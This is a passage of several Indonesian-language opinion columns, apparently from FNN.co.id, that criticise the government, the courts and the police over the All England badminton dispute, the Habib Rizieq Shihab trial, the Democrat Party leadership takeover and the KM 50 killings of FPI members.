mahasiswa hukum adalah segala langkah dan kebijakan harus berdasar hukum. Perubahan politik mesti disandarkan pada konstitusi. Melanggar konstitusi adalah melanggar hukum. Ini pelajaran paling dasar yang diajarkan dosen. Tidak harus seorang Professor. Akhirnya, kita harus maklum pada pendapat apapun yang keluar dari Bapak Mahfud MD, sang punggawa politik Istana. Tidak perlu pusing membahasnya, sebab baginya melanggar HAM itu bukan melanggar HAM. Yang penting tidak menyesarakan, eh menyesengrakyat, eh menyesengrasan rakyat. Menjatuhkan pemerintah bisa menyesengra rakyat ya pak Mahfud,,, he he he. Penulis adalah Pemerhati Politik dan Kebangsaan.

Kasus All England Itu Masalah Prokes, Bukan Diskriminasi

Mau boikot All England? Ini makin ngawur. Digelar sejak 1899, All England menjadi turnamen bulutangkis tertua dunia dan kerap disebut sebagai Kejuaraan Dunia tidak resmi. Semua pemain mendambakan tampil di sini. Turnamen ini juga cuma bisa dihentikan oleh perang dunia, dan tahun ini menjadi penyelengaraan yang ke-111 kali. by Rahmi Aries Nova Jakarta FNN - Kecewa tidak bisa tampil di ajang sebergengsi All England boleh-boleh saja. Marah karena kehilangan kesempatan meraih prize money yang besar pun masih dalam batas wajar. Tapi merasa didikriminasi, menuduh Badminton World Federation (BWF) dan All England tidak profesional, bahkan memprovokasi untuk memboikotnya, rasanya lucu juga. Gilanya Presiden BWF pun mau dilengserkan. Bahkan mau diadukan ke Court of Arbitration for Sport (CAS) yang bermarkas di Lausanne, Swiss. Tanpa dilengserkan Presiden BWF asal Denmark Poul-Erik Hoyer Larsen memang akan habis masa jabatannya pada Mei mendatang. Ia dikabarkan akan fokus mengobati penyakit Parkinson yang dideritanya sejak lima tahun lalu. Poul-Erik sendiri adalah sosok yang sangat menginspirasi bagi banyak pemain bulutangkis di seluruh dunia. Ia bukan cuma sukses sebagai pemain, tampil dalam tiga Olimpiade dan meraih medali emas tunggal putra Olimpiade pada Olimpiade Atlanta 1996 di usia 31. Tapi juga sukses memimpin organisasi bulutangkis dari level negara hingga dunia. Pensiun sebagai pemain, Poul-Erik berkiprah di DBF (PBSI-nya Denmark) pada 2007, kemudian menjadi Presiden Bulutangkis Eropa pada 2010, dan memenangi perebutan kursi Presiden BWF pada 2013 dan 2017. Jejak yang sampai saat ini belum bisa diikuti bahkan oleh pemain sebesar Susi Susanti. Jadi, harusnya Poul-Erik Hoyer Larsen menjadi inspirasi bagi pemain-pemain Indonesia, bukan dimaki-maki. Adalah Ketua Umum Persatuan Bulutangkis Seluruh Indonesia (PBSI) yang juga ketua Badan Pemeriksa Keuangan (BPK) RI Agung Firman Sampurna yang menyebut Tim Indonesia mengalami diskriminasi di Birmingham, Inggris. Agung dan jajarannya yang mengurusi PBSI saat ini, termasuk dua nama kondang Kapolri Jenderal Listyo Sigit Prabowo (Sekjen) dan Kapolda Metro Jaya Inspektur Jenderal Muhammad Fadil Imran (Staf Khusus Ketua Umum), juga Ketua Harian Alex Tirta (pemilik Hotel Alexis yang ditutup Gubernur DKI) sepertinya memang 'orang baru' di olahraga. Karena mereka tidak tahu bahwa diskriminasi adalah suatu yang diharamkan di dunia olahraga termasuk bulutangkis. Mereka tidak tahu kalau Poul-Erik adalah pemain yang sangat 'mencintai Indonesia' dan tergila-gila pada atmosfer Istora Senayan. "Istora ini adalah rumah kedua saya," katanya dalam setiap kesempatan saat berbincang dengan penulis. Mau boikot All England? Ini makin ngawur. Digelar sejak 1899, All England menjadi turnamen bulutangkis tertua dunia dan kerap disebut sebagai Kejuaraan Dunia tidak resmi. Semua pemain mendambakan tampil di sini. Turnamen ini juga cuma bisa dihentikan oleh perang dunia, dan tahun ini menjadi penyelengaraan yang ke-111 kalinya. Penulis dua kali meliput ajang ini, salah satunya pada perayaan 100 tahun All England, yang digelar tahun 2010. Penyelenggaraannya sangat profesional dengan aturan yang baku dari tahun ke tahun. Di ajang tersebut, para pemain Indonesia juga mencetak sejarah cemerlang dari masa ke masa. Para legenda bulutangkis Indonesia lahir dari ajang tersebut. Pemain sehebat Taufik Hidayat yang sudah meraih medali emas Olimpiade, Juara Dunia, dan puluhan gelar lain pun merasa karirnya kurang lengkap karena tak pernah meraih gelar juara All England. Pemain terbaik Malaysia Lee Chong Wei, mengaku setiap kali kalah di All England, yang selalu terbersit di hatinya adalah bahwa tahun depan ia akan datang lagi. Meski kecewa, 12 pemain Indonesia yang gagal tampil tahun ini, pasti tetap ingin datang lagi tahun depan. Jadi sebaiknya PBSI, Kemenpora, Kemenlu, KOI dan pihak-pihak lain menghentikan hujatan pada BWF juga panitia All England. Apalagi Poul-Erik sendiri sudah mengirim surat permintaan maafnya kepada Kemenpora. Tak perlu cari muka kepada Presiden Joko Widodo dengan menuntut ke CAS karena selain biayanya mahal, KOI juga tak punya legal standing untuk mendaftarkan gugatan. Lebih baik KOI fokus ke Olimpiade Tokyo yang akan digelar kurang dari tiga bulan lagi. Kejadian tidak mengenakkan ini adalah murni masalah protokol kesehatan (prokes) ala Inggris (National Health Service) yang tidak bisa diantisipasi BWF juga PBSI (kenapa tidak datang 10 hari sebelum pertandingan?) PBSI di masa pandemi ini belum bisa memastikan kapan menggelar ajang Indonesia Open, turnamen kebanggaan Indonesia yang diminati bukan saja karena hadiahnya besar, tetapi fans bulutangkis Indonesia yang hangat dan friendly pada semua pemain asing. Jadi, tak mudah menggelar event di masa-masa sekarang ini. Saudara Kapolri dan Kapolda pasti tahu aturan prokes yang menjerat pemain dan ofisial mereka, dan tidak ada apa-apanya jika dibandingkan dengan aturan prokes yang mereka jeratkan pada Habib Rizieq Shihab (HRS). "Masalah prokes yang saya hadapi ini telah menyebabkan saya saat ini bukan hanya menghadapi sidang ini saja, saya menghadapi tiga sidang dengan 11 dakwaan dan 18 pasal berlapis. Ada pasal yang ancamannya 6 tahun, ada pasal yang ancamannya 10 tahun penjara," ungkap Habib Rizieq di sidang Selasa, 23 Maret 2021. Bukan cuma masalah prokes yang dihadapi HRS, tetapi enam pengawalnya juga dibunuh dengan keji dan kejam, organisasinya (Front Pembela Islam) dibubarkan dan rekening bank keluarganya dibekukan PPATK. Serentetan perlakuan yang sangat kejam dari pemerintahan zalim. Bagaimana Saudara Kapolri, dan Kapolda? ** Penulis adalah Wartawan Senior FNN.co.id.

Hakim PN Jakarta Timur Buang Heurestika Hukum di Tumpukan Sampah Mana?

“Suatu perkara akan berakhir setelah dijatuhkan putusan. Namun tanggung jawab seorang hakim atas putusan itu sesungguhnya barulah dimulai. Oleh sebab itu, berhati-hatilah sebelum menjatuhkan putusan, karena hakim tidak akan bisa mencegah malapetaka yang ditimbulkan oleh putusannya, ketika apa yang diputuskan mengandung kekeliruan”. (Yang Mulia Prof. Dr. Muhammad Syarifuddin SH. MH.) by Dr. Margarito Kamis SH. M.Hum Ternate FNN - Adillah kepada lawan sekalipun. Begitu alam semesta berbisik indah ke setiap telinga yang terdidik. Bisikan nan indah itu, bagi yang berilmu dengan telinga terdidiknya, akan membuat mata hatinya terbimbing oleh mozaik keadilan. Tetapkanlah hukum dengan seadilan-adilnya pada perkara apapun, itulah sabda alam. Alam meminta hakim berseru dengan seruan kebijaksanaan. Jangan bawa benci masuk kedalam pengetahuanmu kala kamu menetapkan hukum atas perkara apapun. Begitu para bijak bicara kepada murid-muridnya. Hakim, siapapun dia, termasuk dan tak terbatas pada Ketua Majelis Perkara Habib Rizieq Sihab Yang Mulia Suparman Nyompa, diminta alam untuk tak boleh mendekorasi pengetahuannya dengan teks hukum semata. Hakim harus tahu tingkatan hukum dan rahasia dibalik teks hukum itu apa? Hakikat Hak Alam memuliakan para hakim. Allah Suhaanahu Wata’ala yang Maha Pencipta, yang menciptakan semua mahluk, dengan Kemahatahuan-Nya tahu siapa anda, detik demi detik. Kemahatahuan-Nya tahu kadar keadilan dan ketidakadilan dalam hukum yang ditetapkan setiap hakim pada setiap perkara. Pengetahuan itu absolut. Tidakkah tuan-tuan hakim yang mulia tahu kemahatahuan Allah ajja wa zallah bekerja pada putusan Nabi Daud Alaihissalam? Hukum yang ditetapkan oleh Nabi Daud Alaihissalam dalam perselisihan antara pemilik hewan dengan pemilik kebun, yang tanamannya dimakan hewan piaraan pemilik hewan itu, dikoreksi oleh Allah Subhanahu Wata’ala. Dia yang Maha Tahu menghadirkan Nabi Soleman Alaihissalam, putranya Nabi Daud Alaihissalam, untuk mengoreksi putusan ayahanda tercinta. Itulah yang diabadikan dalam Al-Quranul Karim. Kisah itu diabadikan, tepatnya pada surat Al-Anbiya. Hakim harus pintar, itu pinta Allah untuk mereka yang menjadi hakim. Bersidang dan memutuskan atau menetapkan hukum atas perkara yang disidangkan, harus oleh hakim yang berilmu. Harus berilmu, itu tidak lain dari hakim yang arif. Kearifan menjadi napas pengetahuannya. Kearifan yang membawanya kekeadilan. Kearifan menjauhkannya dari culas, sombong, benci, ketakutan pada bos, istri, anak dan sahabat karib. Semua tertelah, sirna seketika oleh keasrifan. Hakim berilmu disambut semesta dengan pelukan kasih. Hakim akan selalu dipeluk rindu penuh cinta oleh Pencipta alam semesta ini. Sebaliknya hakim berilmu, tetapi memutus perkara tidak dengan ilmunya, justru dibenci, direndahkan dan dihinakan sehina-hinya oleh alam semesta. Begitu juga dengan Hakim bodoh. Yang dengan kebodohannya menetapkan hukum pada perkara disidangkannya, disambut semesta dengan cibiran merendahkan. Semesta membawa dan melemparkannya kekubangan sampah yang busuk. Orang busuk memang adanya di tempat busuk. Orang baik adanya ditaman nan indah dengan harum kembang semerbak. Hanya hakim berilmu tahu apa itu hak dan hakikatnya. Hakim berilmu tahu bagaimana hak berawal dan berakhir. Tahu semua yang memiliki awal, pasti memiliki akhir. Semua yang terlihat, pasti sirna, dimakan akhir yang pasti. Hak bukan padanan kewajiban. Hak kebalikan dari kewajiban. Tetapi keduanya saling berkait. Bukan karena ditetapkan hukum bentukan politisi konyol, tetapi karena begitulah fitrahnya. Tidak ada artinya hak, tanpa ada kewajiban di seberangnya. Tidak ada artinya kewajiban, bila tak ada hak di seberangnya. Dalam hakikat, keduanya sama. Sama-sama didedikasikan kepada pemegang hak itu. Tetapi tidak untuk dirinya sendiri, melainkan untuk kebaikan bersama.Tidak ada hak dan kewajiban yang mengalir dari semesta. Itulah hakikat hak. Itulah hakikat dari pernyataan semesta bahwa di dalam hakmu, terdapat hak mahluk lainnya. Dari situ lahirlah aksioma “gunakanlah hak” sejauh tepat menurut kaidah kehidupan bersama. Pada level praktis, hak memberi kepada pemegang kekuasaan melakukan atau tiak melakukan sesuatu yang terkait dengan hak itu. Hak menjadi dasar sahnya tidakan. Semesta menghormatinya dengan cara menyerahkan sipemegang hak itu untuk digunakan atau tidak digunakan haknya itu. Semesta tahu batas hak dan awal dimulai kewajiban. Tak mencampurkan keduanya. Itu karena semesta tidak punya bakat berupa sombong, bodoh, menindas, dan menyesatkan. Hanya penguasa otoriter yang menjadikan bodoh dan angkuh sebagai nafasnya. Penguasa otoriter mengandalkan penindasan, pembodohan dan penyesatan membuat orang tunduk dan membuat dirinya terlihat hebat. Itulah cara Fir’aun, dengan semua penguasa bajingan sesudahnya. Semesta tak menghadiahi hakim dengan sikap “bijaksana” sejauh hakimnya tidak memberatkan nafas mencahayai dirinya dengan ilmu menit ke menit, disepanjang nafasnya berdetak. Semesta menggariskan pada dirinya, keadilan bekerja melalui ilmu sang pengadil. Ilmu yang membawa dan mendekatkan kebijaksanaan kepada Nabi Daud Alaihissalam. Ilmu menghidupkan kebijaksanaan Nabi Daud, sehingga tak sudi bertengkar dengan Nabi Soleman, anaknya yang masih kecil, yang mengoreksi putusannya. Pembaca FNN yang budiman. Ilmu yang mencayahayai Sayidina Umar Bin Khattab Radiallaahu Anhu membuat setiap kebijaksanaan, sehingga mulutnya terkunci, tatkala seorang wanita biasa-biasa saja menyanggah pernyataannya tentang mahalnya mahar kawin. Ilmu membawa Sayidina Umar untuk adil pada Yahudi sekalipun, yang tanahnya diambil Gubernur Mesir Amru Bin Ash untuk dibangun masjid. Sayidina Umar Bin Khattab Radiallaahu Anhu tahu hak si Yahudi atas tanahnya. Tahu hak ya hak. Bukan tak bisa dilepaskan, tetapi cara melepaskan hak itu harus sama kadarnya. Harus dengan cara yang hak pula. Itu pula yang dilakukan Sayidina Ali Bin Abi Thalib Karramallahu Wajhah. Amirulmukminin gagal menemukan cara yang hak untuk mengambil haknya (baju perang). Padahal cara yang hak itulah yang dinyatakan oleh Yang Mulia Hakim Syuraih. Sekalipun yang dihadapi adalah Sayidina Ali, Amirulmukminin, Syuraih mengalahkan Sayidina Ali Radiallaahu Anhu. Jernihkan Dengan Keadilan Yang Mulia Prof. Dr. Muhammad Syarifuddin SH.MH, Ketua Mahkamah, apa pendapat Yang Mulia terhadap hilangnya hak terdakwa untuk hadir di persidangan? Tidak hadir di ruangan sidang pengadilan sebagai akibat dari lahirnya Perma Nomor 4 Tahun 2020 Tentang Administrasi dan Persidangan Perkara Pidana Secara Elektronik? Apa kabar dengan gagasan besar dan sangat mengagumkan dari Yang Mulia tentang “Heurestika Hukum”? Dibaca dan difahami tidak para hakim di Pengadilan Negeri Jakarta Timur itu? Tulisan itu bagus dan bermutu tinggi dengan judul “Pembaruan Sistem Pemidanaan Dalam Praktik Peradilan Modern, Pendekatan Heurestika Hukum”? Tulisan “Heurestika Hukum” yang sangat bermutu tinggi itu mau ditaruh atau dibuang di tumpukan sampah yang mana oleh para hakim di Pengadilan Negeri Jakarta Timur? Meski awalnya terkesan dilecehkan, semoga saja tulisan berkelas dan mengagungkan tentang “Heurestika Hukum” itu tetap menjadi panduan ilmu hukum untuk para hakim. Karena gagasan tentang “Heurestika Hukum” itu muncul dari pengalaman dan pendalaman Yang Mulia Prof. Dr. Muhammad Syarifuddin SH. MH. selama 32 tahun menjadi hakim. Bagaimana jadinya kalau permintaan jaksa ditolak oleh terdakwa? Bagimana kalau permintaan terdakwa untuk disidangkan secara elektronik ditolak oleh JPU? Hakim, karena jabatannya, harus memutuskan sendiri permintaan Jaksa? Kepada Yang Mulia Prof. Dr. Muhammad Syarifuddin SH. MH, hukum apa yang harus dijadikan dasar oleh hakim dalam memutuskan perselisihan itu? Perma Nomor 4 Tahun 2020 atau UU Nomor 8 Tahun 1981 tentang KUHAP dan UU Nomor 48 Tahun 2009 Tentang Kekuasaan Kehakiman? Kebodohan merupakan hal yang ditakuti, lebih dari pada perang oleh Sayidina Ali Abi Thalib, sang Amirulmukminin ini. Itu karena kebodohan selalu ditemani keangkuhan, suka ngeyel, mengada-ada, cari-cari alasan kepanpun sibodoh itu pergi dan berada. Benar-benar bahaya orang ini. Yang Mulia Profesor. Dr. Muhammad Syarifuddin, SH. MH , Ketua Mahkamah Agung, tolong alirkan mozaik “Heuristika Hukum” yang bermutu tinggi kepada para hakim-hakimmu. Ketuklah mata hati anak buahmu dengan cara sesekali mengelus-elus mereka untuk memasuki dunia hebat “Heuristika Hukum”. Hidupkanlah mata hati hakim-hakimmu dengan konsepmu yang sangat hebat, top dan mengagungkan tersebut. Dunia peradilan dan keadilan tidak pernah bisa, dengan alasan apapun, menjadi dunia mekanistik. Menjadi dunia teks dan teks semata. Tidak ada teks yang tak memiliki jiwa, dan tidak diabdikan pada impian memperbesar keindahan semesta. Keindahan yang tertangkap dalam impian besar “Heuristika Hukum”, yang menggema mengantar Yang Mulia ke dunia keprofesoran. Dunia keprofesoran tidak pernah jauh dari dunia nilai-nilai filsafati, untuk tak menyebut epistemologis. Ini dunia yang indah, mengasyikan, sekaligus melelahkan. Kehancuran fatal yang melanda sidang kedua Habib Rizieq Shihab (HRS). Sungguh tak enak untuk ditulis, apalagi dikenang. Karena sangat memalukan dan menjijikan peradilan kita. Tak ada lagi cat alam yang tersedia untuk menghapusnya dari setiap memori. Koreksi Ketua majelis Hakim, dengan penetapannya memerintahkan Jaksa Penuntut Umum menghadirkan terdakwa HRS di sidang pengadilan, itu bagus. Sebagus itu sekalipun, kehancuran fatal yang terjadi sebelumnya, telah meninggalkan pilu di sana-sini. Keadilan terluka sudah, dan itu fatal. Dari kejauhan seolah tak ada lagi cara menghilangkannya dari benak ummat Muhammad, Rasulullah Sallallahu Alaihi Wasallam, dia yang Rahmat dan Rahim Allah Subhanahu berawal dan berakhir. Samar-samar terlihat peristiwa pilu itu, memahat benak anak manusia yang penuh hafalan huruf demi huruf Al Quran dan hadist, sebagai ketidakdilan sudah terpahat untuk Habib Rizieq Shihab. Itu soalnya. Semoga saja salah, dan tidak benar. Sekali lagi semoga begitu. Tetapi memang semesta terlalu kaya dengan kerifan. Semesta pasti menyukai orang yang merenung, mengenal diri, menimbang nafas sekadar menggapai tobat seasli-asli-aslinya. Tapakilah jalan “Heuristika Hukum” dari Yang Mulia Profesor Dr. Muhammad Syarifuddin, Ketua Mahkamah Agung. Tenang dan fokuslah, agar anda terperangkap dalam substansinya. Biarkan substansi membimbing, menuntun dan membawamu pada cinta keadilan, yang Allah Maha Tahu merestuinya. Pembaca FNN yang budiman. “Heurestikan Hukum” dari Prof. Dr. Muhammad Syarifuddin SH. MH. telah membangkitkan kembali ingatan kita pada hakim-hakim top kelas dunia seperti John Marshal, Ketua Mahkamah Agung Amerika, William P. Chase, Louise Brandies, Oliver W. Holmes, Earl Warren, O. Connors, dan Antonio Scalia. Yang Mulia Prof. Dr. Muahmmad Syarifuddin dan para hakim top kelas dunia itu tak bisa menyediakan obat untuk hati terdakwa yang terlanjur terluka. Tidak, dengan teori keadilan dan hukum apapun. Tidak ada hakim di dunia ini yang memilik obat untuk luka hati terdakwa, yang tergilas oleh ketidakadilan proses sidang. Entah kemanapun kau mengadu, aduanmu tetap saja menggantung sejauh luka hati terdakwa menganga menanti perhitunghan akhir yang otentik oleh Allah Subhaanahu Wata'ala Yang Maha Adil, kelak disuatu hari nanti. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Kudeta Demokrat, Harga Diri Keluarga SBY Dipertaruhkan

by Tony Rosyid Jakarta FNN - Banyak kader Partai Demokrat yang kecewa. Terutama mereka yang tak lagi diakomodir di struktur kepengurusan partai dengan Ketua Umum Agus Harimurti Yudhoyono (AHY bin Soesilo Bambang Yudhoyono (SBY). Sejumlah nama tokoh ada di dalam kelompok yang kecewa itu. Selain Marzuki Ali, ada Jhoni Allen Marbun dan Max Sopacua. Mereka berontak. Ingin melakukan Kongres Luar Biasa (KLB) dalam rangka mendongkel dominasi keluarga SBY, bahkan mengambil alih Demokrat. Merasa tak mampu untuk menjatuhkan dominasi SBY, mereka lalu gandeng Moeldoko, yang menjabat sebagai Kepala Kantor Staf Presiden (KSP). Berharap, dengan langkah ini akan dapat dukungan istana. Berharap dengan mendapat dukungan istana itu, KLB akan disahkan oleh Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham). Ibarat "tumbu ketemu tutup". Moeldoko menyambutnya dengan sangat antusias. KLB pun diselenggarakan. Moeldoko terpilih menjadi Ketua Umum Partai Demokrat. Padahal bukan kader, tetapi Moeldoko orang istana. Apapun penilaian rakyat, KLB sudah terjadi di Sibolangit Deli Serdang, Sumatera Utara pada (6/3/2021). Saatnya sekarang bertarung di Kemenkumham untuk mendapatkan legalitas. Apakah Kemenkumham akan melegalkan Demokrat versi KLB Moeldoko? Kalau langsung dilegalkan, tentu saja akan muncul stigma negatif, kasar, dan dianggap super tega. Rakyat "sebagai pemilik suara dalam pemilu" tak akan simpati model permainan kasar yang seperti ini. Tetapi, kalau tidak dilegalkan, maka Mooldoko akan dikorbankan. Moeldoko akan jadi tumbal. Tumbal siapa? Setidaknya tumbal dari mereka yang memberi ijin, juga yang punya kepentingan dan ikut mendesign kudeta Partai Demokrat. Seandainya pun Moeldoko "dimenangkan", kemungkinan akan ada proses yang sedikit memakan waktu. Diayun dulu, agar lebih menarik. Supaya tidak terlihat vulgar. Perlu ulur waktu untuk meredakan "keriuahan publik yang suah terlanjur tak simpati". Boleh jadi kalah dulu di Kemenkumham. Lalu ke pengadilan, dan menang. Ini akan terkesan lebih manis. Seolah Moeldoko berjuang sendiri, tak ada intervensi siapapun dari kekuasaan. Tak ada yang tak mungkin. Politik itu bagaimana menggerkan irama permainan. Termasuk permainan isu, dan cara bagaimana mempengaruhi persepsi publik. Siapa yang memenangkan opini publik, dia yang akan jadi juaranya. KLB Partai Demokrat berupaya untuk mendapat dukungan publik. Lalu, bagaimana dengan nasib SBY? Bagaimana pula nasib karir politik putra-putranya? Apakah SBY akan membuat partai baru? Partai Demokrat Perjuangan, misalnya. Atau justru SBY akan membuat perhitungan-perhitungan lain? Yang pasti, tidak hanya nasib, tetapi harga diri SBY dan keluarga sedang dipertaruhkan. Selama sepuluh tahun menjadi presiden, lalu "dipermalukan" dengan kudeta partai yang dirintis dan dibesarkannya. Yang pasti, ini tak mudah bagi SBY dan masa depan politik bagi kedu putranya. Yang SBY perlu ingat, politik tak selebar konstitusi dan AD/ART Partai Demokrat. Politik memiliki dinamikanya sendiri. Seringkali tak bisa dikendalikan oleh pasal-pasal di dalam konstitusi partai. Apalagi cuma AD/ART partai. Sekarang lagi musimnya melanggar konstitusi. "Konstitusi boleh dilanggar untuk keselamatan rakyat", kata Menteri Kordinator Politik, Hukum dan Keamanan Mahfud MD. Apakah Kudeta di Partai Demokrat bagian dari tafsir konstitusional Mahfud itu? Kita akan lihat nanti. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Jaksa Ketakutan Menghadapi Habib Rizieq Dalam Sidang Offline

by Tjahja Gunawan Jakarta, FNN - Alhamdulillah, dalam sidang hari Selasa (23/3/2021), majelis hakim PN Jakarta Timur akhirnya mulai berpikir waras dan mau menerima usulan serta argumentasi hukum yang disampaikan Habib Rizieq Sihab (HRS) selaku terdakwa agar persidangan kasus kerumunan yang dituduhkan kepadanya bisa dilaksanakan secara offline. Sebelum memutuskan, Ketua Majelis Hakim Suparman Nyompa sempat menskors sidang cukup lama. Argumentasi yang disampaikan Habib Rizieq dan tim pengacaranya memang lebih kuat dan masuk akal sehingga mampu meyakinkan majelis hakim. Padahal dalam sidang sebelumnya, majelis hakim dan Jaksa Penuntut Umum bersikukuh untuk melaksanakan sidang secara online. Sebelum sidang diskors, Jaksa Penuntut Umum Diah Yuliastuti sempat dibentak oleh Munarman sebagai Ketua Tim Pengacara Habib Rizieq. Jaksa Diah berusaha memotong pembicaraan Munarman yang tengah menyampaikan pertimbangan hukum kepada majelis hakim. Ketika jaksa berusaha memotong, Munarman dalam nada tinggi menyatakan, "Saudara Jaksa, Saudara diam, Saudara diam ya ! Ini giliran saya, ini giliran saya !.Coba tertib ya dalam persidangan ini". Tidak lama kemudian majelis hakim segera menengahinya. Dalam sidang sebelumnya, Jaksa Diah Yuliastuti juga beberapa kali memotong pembicaraan Habib Rizieq ketika menyampaikan argumentasi hukum tentang perlunya terdakwa hadir secara fisik dalam persidangan di pengadilan. Namun ketika itu Habib tidak terpancing dengan provokasi yang dilancarkan jaksa. Setelah mengamati beberapa kali sidang, strategi jaksa sudah mulai terbaca. Ketika argumentasi dan posisinya mulai terdesak dan terpojok, Jaksa kemudian menyerang lawan dengan memotong pembicaraan terdakwa maupun pengacara. Provokasi Jaksa Diah Yuliastuti terhadap Habib Rizieq dalam sidang sebelumnya, telah menimbulkan kemarahan publik. Kemudian masyarakat melampiaskan kekesalannya kepada jaksa melalui media sosial. Bahkan para netizen menyerang jaksa melalui dunia maya dengan menyerbu dan membully Jaksa Diah Yuliastuti melalui akun Instagramnya. Tidak kuat menghadapi bullyian netizen, IG Diah Yuliastuti akhirnya digembok sehingga tidak bisa lagi diliat publik. Tapi foto-foto pribadi dan aktivitas senang-senangnya yang terpampang di IG sudah terlanjur menyebar ke sejumlah grup WA. Kemenangan sementara Perubahan penetapan majelis hakim tentang pelaksanaan sidang dari online menjadi offline, boleh dikatakan sebagai "kemenangan sementara" kubu Habib Rizieq. Sebab argumentasi Habib dinilai tepat dan benar secara hukum. Oleh karena itu, pada sidang lanjutan yang akan dilaksanakan Jumat (26/3/2021), majelis hakim PN Jaktim akan melaksanakan sidang secara offline. Agenda sidang lanjutan pada hari Jumat nanti adalah pembacaan nota pembelaan atau eksepsi dari Habib Rizieq sebagai terdakwa. Berbarengan dengan itu, Ketua Majelis Hakim Suparman Nyompa juga menyatakan kelima terdakwa lainnya yang terkait dengan kasus kerumunan yakni A. Haris Ubaidillah, Ahmad Sabri Lubis, Andi Alwi Al-Athas, Idrus Al-Habsyi, dan Maman Suryadi juga dihadirkan secara langsung di sidang offline. Suparman Nyompa mengakui, sidang online mengalami banyak hambatan. Seperti kita ketahui bersama, pada pelaksanaan sidang pertama terhambat gangguan audio. Oleh karena itu kalau sidang online ini tetap dilanjutkan berpotensi terjadi lagi gangguan teknis seperti itu. Selain itu, dasar hukum pelaksanaan sidang online yang hanya pada Peraturan Mahkamah Agung (Perma) Nomor 4 Tahun 2020 dinilai sangat lemah. Kekuatan hukumnya kalah dengan aturan hukum diatasnya yakni KUHAP yang menjamin hak-hak terdakwa untuk hadir secara fisik dalam persidangan. Atas dasar pertimbangan itu pula, majelis hakim kemudian menetapkan sidang selanjutnya dilakukan secara offline. Selama ini Habib Rizieq dikenal sebagai Singa Podium bahkan para netizen menjulukinya sebagai Singa Petamburan. Pengaruh Singa Podium ini mulai terlihat dari adanya perubahan sikap majelis hakim PN Jaktim dalam pelaksanaan sidang ini. Kini giliran Jaksa Penuntut Umum yang mulai ketakutan menghadapi aksi Habib Rizieq yang akan tampil menyampaikan pembelaan atau eksepsi dalam sidang offline pada hari Jumat nanti. Masyarakat terutama Umat Islam sudah rindu dengan penampilan dan orasi Habib Rizieq Shihab di depan publik. Semoga kerinduan tersebut terobati dengan penampilannya nanti dalam sidang lanjutan Hari Jumat. Untuk mengikuti sidang ini, masyarakat bisa menyaksikan secara online melalui akun YouTube Forum News Network (FNN TV). Penulis adalah Wartawan Senior FNN.co.id.

Cicilan Informasi Pembunuhan di KM 50 Tol Japek

by M. Rizal Fadillah Bandung FNN - Rilis berita dari Badan Reserse kriminal (Bareskrim) Polri soal peristiwa pembunuhan enam anggota laskar FPI disamping sedikit-sedikit, juga minim informasi. Peristiwa besar yang dikecil-kecilkan. Kemarin rilis baru menyebut ditemukan dua alat bukti. Sebelumnya menyebut tiga anggota Polri dari Polda Metro Jaya yang menjadi calon tersangka. Mereka tiga anggota Polda tero Jaya tersebut diumumkan sebagai terlapor. Hingga kini nama-nama ketiganya masih saja disembunyikan. Ironi dalam sebuah tragedi kemanusiaan. Seperti sedang mencari cara dan strategi untuk mengumumkan nama-nama. Khawatir kalau diumumkan nanti bisa merembet komandan yang lebih tinggi. Kemungkinan bisa jendral polisi bintang satu, dua atau lebih. Sedikit-demi sedikit disebut tentang aturan yang bakal disangkakan, yaitu Pasal 338 KUHP Jo Pasal 351 pembunuhan dan penganiayaan. Ketika ditanya oleh wartawan tentang inisial ketiga calon tersangka tersebut, Brigjen Polisi Rusdi Hartono setelah terdiam agak lama, akhirnya menjawab "nanti kita akan cek lagi". Memang nampaknya penyidikan ini agak istimewa. Mengubah skenario dari tersangka enam anggota laskar Front Pembela islam (FPI) yang disiksa dan dibunuh menjadi tiga anggota Polri dari Polda Mtero Jaya tentu saja bukan pekerjaan mudah. Sejak awal sebenarnya dugaan bahwa ada anggota Polri yang bersalah sudah semestinya diperhitungkan. Namun kini masalahnya menjadi babaliut. Bingung dan bingung untuk mengumumkan. Yang kini menjadi pertanyaan krusial adalah, apakah pembunuhan di lapangan tersebut berdiri sendiri? Ataukah atas dasar koordinasi lebih dulu dan instruksi dari atasan pelaku? Inilah persoalan paling ruwet. Harus dicari dalil pembenaran, sebab bisa saja berantakan di pengadilan nanti. Kesulitan pengumuman nama ketiga calon tersangka bermodal "dua alat bukti" itu mungkin disebabkan pertimbangan. Pertama, apakah tiga calon tersangka tersebut adalah benar-benar pelaku penembakan di mobil yang membawa keempat anggota laskar yang masih hidup? Atau mereka bertiga hanya sebagai figur yang minim pengetahuan tentang duduk persoalan yang sebenarnya? Apa yang terjadi jika pelaku sebenarnya adalah "Harun Masiku" yang hilang itu? Kedua, bagaimana membuat konstruksi hukum untuk perbuatan yang melibatkan lebih dari tiga anggota Polda Mtero Jaya itu sebagai pelaku di lapangan? Dugaan bahwa hal ini bukan semata insiden, tetapi "by design" perlu dijawab oleh keterangan yang digali atau dicecar penggaliannya terhadap tiga tersangka di depan pengadilan nanti. Pembunuhan di kilometer 50 tol Jakarta-Cikampek (Japek) menjadi menarik. Ketiga, rekomendasi Komisi Nasional Hak Asasi Manusia (Komnas HAM) yang mempertanyakan siapa penumpang mobil Land Cruiser yang diduga menjadi "komandan" operasi lapangan harus terjawab dalam proses hukum terhadap tiga calon tersangka anggota Polri dari Polda Metro Jaya itu. Mata rantai peristiwa yang tidak boleh terputus. Keempat, unlawful killing terhadap empat anggota laskar FPI tidak bisa dipisahkan dari pembuktian penembakan kepada dua anggota laskar FPI lainnya. Ada dua mobil Avanza Hitam dan Avanza Silver yang berisi sejumlah aparat menjadi eksekutor. Dari kesatuan mana dan siapa mereka? Mabes Polri tidak bisa mengabaikan hal ini. Fakta yang terbunuh adalah enam anggota laskar FPI, bukan empat. Kelima, pembunuhan ini dikaitkan dengan Pasal 351 KUHP yang tentu saja menimbulkan pertanyaan publik, dimana dan bagaimana anggota laskar ini disiksa? Mungkinkah dilakukan di mobil selama perjalanan? Dengan melihat luka-luka yang dialami korban, wajar jika publik menduga kuat ada lokasi tertentu yang menjadi tempat penyiksaan. Soal dugaan lokasi penyiksaan ini menjadi bagian penting dari pengungkapan peristiwa yang semestinya sudah terkuak pada tahap penyidikan. Jika tidak terbuka di penyidikan, maka kemungkinan akan terbuka nanti di persidangan. Sementara persidangan bakal diikuti dan dipantau oleh masyarakat, baik dalam maupun luar negeri. Termasuk tentu saja dari Komnas HAM. Mengingat dampak ikutan yang 